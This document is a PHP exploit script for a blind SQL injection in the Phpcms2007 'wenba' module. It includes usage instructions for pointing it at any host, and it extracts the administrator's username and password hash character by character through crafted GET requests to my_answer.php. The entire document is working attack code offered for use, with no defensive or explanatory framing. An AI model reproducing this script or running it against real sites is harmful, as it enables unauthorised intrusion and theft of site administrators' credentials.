1 print_r(' ——————————————————————————– Phpcms2007 (wenba)blind SQL injection / admin credentials disclosure exploit BY oldjun[S.U.S](
http://www.oldjun.com) ——————————————————————————– ');
2 if ($argc<3) {
3 print_r(' ——————————————————————————– Usage: php '.$argv[0].' host path host: target server (ip/hostname),without"
http://" path: path to phpcms Example: php '.$argv[0].' localhost / ——————————————————————————– ');
4 die;
5 }
6
7 function sendpacketii($packet)
8 {
9 global $host, $html;
10 $ock=fsockopen(gethostbyname($host),'80');
11 if (!$ock) {
12 echo 'No response from '.$host; die;
13 }
14 fputs($ock,$packet);
15 $html='';
16 while (!feof($ock)) {
17 $html.=fgets($ock);
18 }
19 fclose($ock);
20 }
21
22 $host=$argv[1];
23 $path=$argv[2];
24 $prefix="phpcms_";
25 $cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";
26
27 if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
28 {echo "Error… check the path!\r\n\r\n"; die;}
29
30 /*get $prefix*/
31 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/union/**/select HTTP/1.0\r\n";
32 $packet.="Host: ".$host."\r\n";
33 $packet.="Cookie: ".$cookie."\r\n";
34 $packet.="Connection: Close\r\n\r\n";
35 sendpacketii($packet);
36 //echo $html;
37 if (eregi("in your SQL syntax",$html))
38 {
39 $temp=explode("FROM ",$html);
40 if(isset($temp[1])){$temp2=explode("wenba_answer",$temp[1]);}
41 if($temp2[0])
42 $prefix=$temp2[0];
43 echo "[+]prefix -> ".$prefix."\r\n";
44 }
45 echo "[~]exploting now,plz waiting…\r\n\r\n";
46
47 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=1 HTTP/1.0\r\n";
48 $packet.="Host: ".$host."\r\n";
49 $packet.="Connection: Close\r\n\r\n";
50 sendpacketii($packet);
51 if (eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {echo "Error… There is no data in wenba,please register two users.One asks then the other answers!\r\n\r\n"; die;}
52
53 $chars[0]=0;//null
54 $chars=array_merge($chars,range(48,57)); //numbers
55 $chars=array_merge($chars,range(97,102));//a-f letters
56 $j=1;$password="";
57 while (!strstr($password,chr(0)))
58 {
59 for ($i=0; $i<=255; $i++)
60 {
61 if (in_array($i,$chars))
62 {
63 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(password,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";
64 $packet.="Host: ".$host."\r\n";
65 $packet.="Connection: Close\r\n\r\n";
66 sendpacketii($packet);
67 if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}
68 }
69 if ($i==255) {die("Exploit failed…");}
70 }
71 $j++;
72 }
73
74 $j=1;$username="";
75 while (!strstr($username,chr(0)))
76 {
77 for ($i=0; $i<=255; $i++)
78 {
79 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(username,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";
80 $packet.="Host: ".$host."\r\n";
81 $packet.="Connection: Close\r\n\r\n";
82 sendpacketii($packet);
83 if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$username.=chr($i);echo"[+]username:".$username."\r\n";break;}
84 if ($i==255) {die("Exploit failed…");}
85 }
86 $j++;
87 }
88 print_r(' ——————————————————————————– [+]username -> '.$username.' [+]password(md5 32?) -> '.$password.' ——————————————————————————– ');
89 function is_hash($hash)
90 {
91 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
92 else {return false;}
93 }
94 if (is_hash($password)) {echo "Exploit succeeded…";}
95 else {echo "Exploit failed…";}
96 ?>